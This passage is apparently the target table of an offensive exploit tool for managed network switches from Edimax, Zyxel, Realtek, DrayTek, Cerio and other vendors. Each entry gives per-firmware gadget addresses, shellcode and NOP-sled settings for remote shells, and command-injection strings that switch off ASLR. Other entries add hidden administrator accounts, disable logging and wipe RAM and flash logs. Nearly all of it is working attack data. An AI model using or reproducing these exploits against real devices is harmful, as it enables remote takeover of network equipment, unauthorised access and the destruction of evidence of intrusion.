read_body(); 'handler': 0x248411bc, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, 'stack_cgi_diag': { # /sqfs/home/web/cgi/set.cgi; cgi_diag_traceroute_set() # traceroute 'web_sys_ping_post':0x40DFF4, # Jump one after 'sw $ra' # (address, binary dependent) 'sys_ping_post_cmd':'&srvHost=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1', 'sys_ping_post_check':'', 'verify_uri':'/tmp/check', 'vulnerable': True, # }, 'stack_cgi_log': { # /sqfs/home/web/cgi/set.cgi; cgi_log_global_set() 'log_settings_set':0x41D99C, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set() 'log_ramClear':0x41D8E4, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set() 'log_fileClear':0x41D8E4, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSntp_set':0x41620C, # Jump one after 'sw $ra' # Set SNTP Server (Inject RCE) # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSntpDel_set':0x41620C, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSettings_set':0x41620C,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': False, # Not clear, may be to long URI for the stack }, 'heack_cgi_shell': { 'cgi':'set.cgi', # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set() 'START':0x7ffeff04, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x7fc60000, # end: You may want to play with this if you dont get it working 'usr_nop': 64, # NOP sled (shellcode will be tailed) 'pwd_nop': 77, # filler/garbage (not used for something constructive) 'align': 3, # Align opcodes in memory 'stack':True, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, '225-96283': { 'template':'Edimax', # Static for the vendor 'model':'GS-5424PLC', 'uri':'https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/smb_switches_poe/gs-5424plc', 'version':'1.1.1.6', # Version / binary dependent stuff 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40E6DC, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f998524, # la $t9, system # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x248411ac, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, # }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, 'stack_cgi_diag': { # /sqfs/home/web/cgi/set.cgi; cgi_diag_traceroute_set() # traceroute 'web_sys_ping_post':0x40E024, # Jump one after 'sw $ra' # (address, binary dependent) 'sys_ping_post_cmd':'&srvHost=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1', 'sys_ping_post_check':'', 'verify_uri':'/tmp/check', 'vulnerable': True, # }, 'stack_cgi_log': { # /sqfs/home/web/cgi/set.cgi; cgi_log_global_set() 'log_settings_set':0x41D9EC, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set() 'log_ramClear':0x41D934, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set() 'log_fileClear':0x41D934, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, # }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSntp_set':0x416254, # Jump one after 'sw $ra' # Set SNTP Server (Inject RCE) # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSntpDel_set':0x416254, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSettings_set':0x416254,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': True, }, 'heack_cgi_shell': { 'cgi':'set.cgi', # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set() 'START':0x7ffeff04, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x7fc60000, # end: You may want to play with this if you dont get it working 'usr_nop': 64, # NOP sled (shellcode will be tailed) 'pwd_nop': 77, # filler/garbage (not used for something constructive) 'align': 3, # Align opcodes in memory 'stack':True, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, # }, }, }, # # Zyxel # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : Yes # Del /var/log/flash.log : No # Del /mntlog/flash.log : No # Add credentials : Yes (adding username to next free index number, may not be #1) # Del credentials : Yes (index number instead of username, may not be #1) # '222-71560': { 'template':'Zyxel', # Static for the vendor 'version':'2.40_AAHL.1_20180705', # Version / binary dependent stuff 'model':'GS1900-24', # Model 'uri':'https://www.zyxel.com/products_services/8-10-16-24-48-port-GbE-Smart-Managed-Switch-GS1900-Series/', 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40D60C, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f998520, # la $t9, system) # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x2484e148, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, # }, # # 'stack_cgi_diag': { # Not vulnerable 'address':0x4341C4, 'vulnerable': False, }, 'stack_cgi_add_account': { # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_localUser_post() 'address':0x436D9C, # Jump one after 'sw $ra' # (address, binary dependent) 'account':'&usrName=USERNAME&usrPrivType=15&usrPriv=15', # Admin, priv 15 'vulnerable': True, }, 'stack_cgi_del_account': { # # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_localUserDel_post() 'address':0x437124, # Jump one after 'sw $ra' # (address, binary dependent) 'account':'&_del=1', # First additional user in the list 'vulnerable': True, # user }, 'stack_cgi_log': { # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_setting_post() 'log_settings_set':0x47D760, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_delete_post() 'log_ramClear':0x480804, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_delete_post() 'log_fileClear':0x480804, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, # }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post() 'sys_timeSntp_set':0x43BA8C, # Jump one after 'sw $ra' # Set SNTP Server (Inject CMD) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post() 'sys_timeSntpDel_set':0x43BA8C, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post() 'sys_timeSettings_set':0x43AF54,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable':False, }, 'heack_cgi_shell': { 'cgi':'dispatcher.cgi', # /sqfs/home/web/cgi-bin/dispatcher.cgi; main() 'query':'username='+ self.random_string(100) +'_RA_START&password='+ self.random_string(59) +'&STARTUP_BACKUP=1'+ (('&' + struct.pack('>L',0x2404FF3D) + struct.pack('>L',0x2404FFFF)) * 70) + '&' + struct.pack('>L',0x2404FF3D) +'_SHELLCODE', 'START':0x10010104, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP': 0x104006A0, # end: You may want to play with this if you dont get it working 'usr_nop': 25, # NOP sled (shellcode will be tailed) 'pwd_nop': 15, # filler/garbage (not used for something constructive) 'align': 0, # Align opcodes in memory 'stack':False, # NOP and shellcode lays on: True = stack, False = Heap }, }, }, # # Realtek # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : Yes # Del /var/log/flash.log : No # Del /mntlog/flash.log : No # Add credentials : Yes # Del credentials : Yes # '222-40570': { 'template':'Realtek', # Static for the vendor 'version':'3.0.0.43126', # Version / binary dependent stuff 'model':'RTL8380-24GE-4GEC', # Model 'uri':'https://www.realtek.com/en/products/communications-network-ics/item/rtl8381m-vb-cg-2', 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40E6DC, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f99851c, # la $t9, system) # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x24841ea8, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, 'stack_cgi_diag': { # Ping IPv4 'sys_ping_post_cmd':'ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space&count=1', 'verify_uri':'/tmp/pingtest_tmp', 'web_sys_ping_post':0x422980, # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_ping_post() # traceroute #'web_sys_ping_post':0x423168, # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_trace_route_post() #'sys_ping_post_cmd':'ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/traceroute_tmp #&tr_maxhop=30&count=1', #'verify_uri':'/tmp/traceroute_tmp', 'vulnerable': True, }, 'stack_cgi_log': { # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_setting_post() 'log_settings_set':0x481968, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_file_del() 'log_ramClear':0x4847DC, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_file_del() 'log_fileClear':0x4847DC, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post() 'stack_cgi_sntp': { 'sys_timeSntp_set':0x42C8F0, # Jump one after 'sw $ra' # Set SNTP Server (Inject CMD) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post() 'sys_timeSntpDel_set':0x42C8F0, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post() 'sys_timeSettings_set':0x42C8F0,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': True, }, 'heack_cgi_shell': { 'cgi':'dispatcher.cgi', # /sqfs/home/web/cgi-bin/dispatcher.cgi; main() 'query':'username=_USRNOP&password=_PWDNOP_RA_START&login=1&_USRNOP_USRNOP_SHELLCODE', 'START':0x7fff7004, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x7fc60000, # end: You may want to play with this if you dont get it working 'usr_nop': 28, # NOP sled (shellcode will be tailed) 'pwd_nop': 20, # filler/garbage (not used for something constructive) 'align': 0, # Align opcodes in memory 'stack':True, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, # # OpenMESH (some identical with enginius egs series) # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : Yes # Del /var/log/flash.log : Yes # Del /mntlog/flash.log : Yes # Add credentials : Yes # Del credentials : Yes # '13984-12788': { 'template':'OpenMESH', # Static for the vendor 'version':'01.03.24_180823-1626', # Version / binary dependent stuff 'model':'OMS24', # Model 'uri':'https://www.openmesh.com/', 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40E12C, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f99851c, # la $t9, system # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x248405a0, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_add_account': { # /sqfs/home/web/cgi/set.cgi; cgi_sys_acctAdd_set() 'address':0x424890, # Jump one after 'sw $ra' # (address, binary dependent) 'account':'&na=USERNAME&pw=PASSWORD&pv=0&op=1&', # Admin, priv 15 'vulnerable': True, }, 'stack_cgi_del_account': { # /sqfs/home/web/cgi/set.cgi; sn_user_mngSet() 'address':0x424890, # Jump one after 'sw $ra' # (address, binary dependent) 'account':'&na=USERNAME&pw=&pv=0&op=0', # 'vulnerable': True, # user }, 'stack_cgi_diag': { # /sqfs/home/web/cgi-bin/datajson.cgi; sn_ipv4PingSet() #'web_sys_ping_post':0x42341C, # Jump one after 'sw $ra' # (address, binary dependent) # /sqfs/home/web/cgi-bin/datajson.cgi; sn_tracertSet() 'sys_ping_post_cmd':'&ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space #&mh=30&uid=0', 'sys_ping_post_check':'&ip=127.0.0.1 ; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&uid=0', 'verify_uri':'/conf_tmp/check', 'web_sys_ping_post': 0x424248, # Jump one after 'sw $ra' # (address, binary dependent) 'vulnerable': True, # }, 'stack_cgi_log': { # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_globalSet() 'log_settings_set':0x43EA88, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set() 'log_ramClear':0x440660, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set() 'log_fileClear':0x440660, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet() 'sys_timeSntp_set':0x425260, # Jump one after 'sw $ra' # Set SNTP Server (Inject RCE) # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set() 'sys_timeSntpDel_set':0x425260, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set() 'sys_timeSettings_set':0x425260,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': True, }, 'heack_cgi_shell': { 'cgi':'security.cgi', # /sqfs/home/web/cgi-bin/security.cgi; main() 'START':0x100181A0, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x104006A0, # end: You may want to play with this if you dont get it working 'usr_nop': 987, # NOP sled (shellcode will be tailed) 'pwd_nop': 69, # filler/garbage (not used for something constructive) 'align': 0, # Align opcodes in memory 'stack':False, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, # # Xhome (identical with Realtek) # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : Yes # Del /var/log/flash.log : No # Del /mntlog/flash.log : No # Add credentials : Yes # Del credentials : Yes # '222-64895': { 'template':'Xhome', # Static for the vendor 'version':'3.0.0.43126', # Version / binary dependent stuff 'model':'DownLoop-G24M', # Model 'uri':'http://www.xhome.com.tw/product_info.php?info=p116_XHome-DownLoop-G24M----------------------------------------.html', 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40E6DC, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f99851c, # la $t9, system) # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x24841ea8, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, 'stack_cgi_diag': { # Ping IPv4 'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space&count=1', 'verify_uri':'/tmp/pingtest_tmp', 'web_sys_ping_post':0x4229A0, # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_ping_post() # traceroute #'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/traceroute_tmp #&tr_maxhop=30&count=1', #'verify_uri':'/tmp/traceroute_tmp', #'web_sys_ping_post':0x423188, # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_trace_route_post() 'vulnerable': True, }, 'stack_cgi_log': { # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_setting_post() 'log_settings_set':0x481988, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_file_del() 'log_ramClear':0x4847FC, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_file_del() 'log_fileClear':0x4847FC, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post() 'stack_cgi_sntp': { 'sys_timeSntp_set':0x42C910, # Jump one after 'sw $ra' # Set SNTP Server (Inject CMD) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post() 'sys_timeSntpDel_set':0x42C910, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post() 'sys_timeSettings_set':0x42B6F8,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': True, }, 'heack_cgi_shell': { 'cgi':'dispatcher.cgi', # /sqfs/home/web/cgi-bin/dispatcher.cgi; main() 'query':'username=_USRNOP&password=_PWDNOP_RA_START&login=1&_USRNOP_USRNOP_SHELLCODE', 'START':0x7fff7004, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x7fc60000, # end: You may want to play with this if you dont get it working 'usr_nop': 28, # NOP sled (shellcode will be tailed) 'pwd_nop': 20, # filler/garbage (not used for something constructive) 'align': 0, # Align opcodes in memory 'stack':True, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, # # Pakedgedevice & Software # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: No (cannot point JMP correct into NOP on heap) # Del /var/log/ram.log : Yes # Del /var/log/flash.log : Yes # Del /mntlog/flash.log : Yes # Add credentials : Yes # Del credentials : Yes # '225-21785': { 'model':'SX-8P', 'template':'Pakedge', # Static for the vendor 'version':'1.04', # Version / binary dependent stuff 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40C86C, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f998538, # la $t9, system # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x248492ec, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_diag': { 'vulnerable': False, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, 'stack_cgi_log': { # /sqfs/home/web/cgi/set.cgi; cgi_log_global_set() 'log_settings_set':0x413AEC, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set() 'log_ramClear':0x413A14, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set() 'log_fileClear':0x413A14, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSntp_set':0x4108E4, # Jump one after 'sw $ra' # Set SNTP Server (Inject RCE) # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSntpDel_set':0x4108E4, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSettings_set':0x4108E4,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': True, }, 'heack_cgi_shell': { 'cgi':'set.cgi', # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set() 'START':0x7ffeff04, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x7fc60000, # end: You may want to play with this if you dont get it working 'usr_nop': 64, # NOP sled (shellcode will be tailed) 'pwd_nop': 77, # filler/garbage (not used for something constructive) 'align': 3, # Align opcodes in memory 'stack':True, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, # # Draytek # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: No (cannot point JMP correct into NOP on heap) # Del /var/log/ram.log : Yes # Del /var/log/flash.log : Yes # Del /mntlog/flash.log : Yes # Add credentials : Yes # Del credentials : Yes # '752-95168': { 'template':'DrayTek', # Static for the vendor 'version':'2.1.4', # Version / binary dependent stuff 'model':'VigorSwitch P1100', # 'uri':'https://www.draytek.com/products/vigorswitch-p1100/', 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40C67C, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f99852c, # la $t9, system # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x248490ac, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_diag': { 'vulnerable': False, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, 'stack_cgi_log': { # /sqfs/home/web/cgi/set.cgi; cgi_log_global_set() 'log_settings_set':0x413E34, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set() 'log_ramClear':0x413D64, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set() 'log_fileClear':0x413D64, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSntp_set':0x410CA8, # Jump one after 'sw $ra' # Set SNTP Server (Inject RCE) # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSntpDel_set':0x410CA8, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSettings_set':0x410CA8,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': True, # }, 'heack_cgi_shell': { 'cgi':'set.cgi', # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set() 'START':0x7ffeff04, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x7fc60000, # end: You may want to play with this if you dont get it working 'usr_nop': 64, # NOP sled (shellcode will be tailed) 'pwd_nop': 77, # filler/garbage (not used for something constructive) 'align': 3, # Align opcodes in memory 'stack':True, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, # # Cerio # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : Yes # Del /var/log/flash.log : Yes # Del /mntlog/flash.log : Yes # Add credentials : Yes # Del credentials : Yes # '224-5061': { 'template':'Cerio', # Static for the vendor 'version':'1.00.29', # Version / binary dependent stuff 'model':'CS-2424G-24P', # 'uri':'https://www.cerio.com.tw/eng/switch/poe-switch/cs-2424g-24p/', 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40E6DC, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f998524, # la $t9, system # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x248411bc, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, 'stack_cgi_diag': { # /sqfs/home/web/cgi/set.cgi; cgi_diag_traceroute_set() 'sys_ping_post_cmd':'&srvHost=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1', 'sys_ping_post_check':'', 'web_sys_ping_post':0x40E114, # Jump one after 'sw $ra' # (address, binary dependent) 'verify_uri':'/tmp/check', 'vulnerable': True, # }, 'stack_cgi_log': { # /sqfs/home/web/cgi/set.cgi; cgi_log_global_set() 'log_settings_set':0x41DB4C, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set() 'log_ramClear':0x41DA94, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set() 'log_fileClear':0x41DA94, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSntp_set':0x415F14, # Jump one after 'sw $ra' # Set SNTP Server (Inject RCE) # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSntpDel_set':0x415F14, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSettings_set':0x415F14,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': False, # }, 'heack_cgi_shell': { 'cgi':'set.cgi', # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set() 'START':0x7ffeff04, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x7fc60000, # end: You may want to play with this if you dont get it working 'usr_nop': 64, # NOP sled (shellcode will be tailed) 'pwd_nop': 77, # filler/garbage (not used for something constructive) 'align': 3, # Align opcodes in memory 'stack':True, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, # # Abaniact # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : Yes # Del /var/log/flash.log : No # Del /mntlog/flash.log : No # Add credentials : Yes # Del credentials : Yes # '222-45866': { 'template':'Abaniact', # Static for the vendor 'version':'116B00033', # Version / binary dependent stuff 'model':'AML2-PS16-17GP L2', # Model 'uri':'https://www.abaniact.com/L2SW/', 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40E65C, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f998524, # la $t9, system) # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x2484152c, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, 'stack_cgi_diag': { # Ping IPv4 #'sys_ping_post_cmd':'ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space&count=1', #'verify_uri':'/tmp/pingtest_tmp', #'web_sys_ping_post':0x4296FC, # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_ping_post() # traceroute 'web_sys_ping_post':0x429F58, # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_trace_route_post() 'sys_ping_post_cmd':'ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/traceroute_tmp #&tr_maxhop=30&count=1', 'verify_uri':'/tmp/traceroute_tmp', 'vulnerable': True, }, 'stack_cgi_log': { # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_setting_post() 'log_settings_set':0x4B4FE4, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_file_del() 'log_ramClear':0x4BA5D0, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # 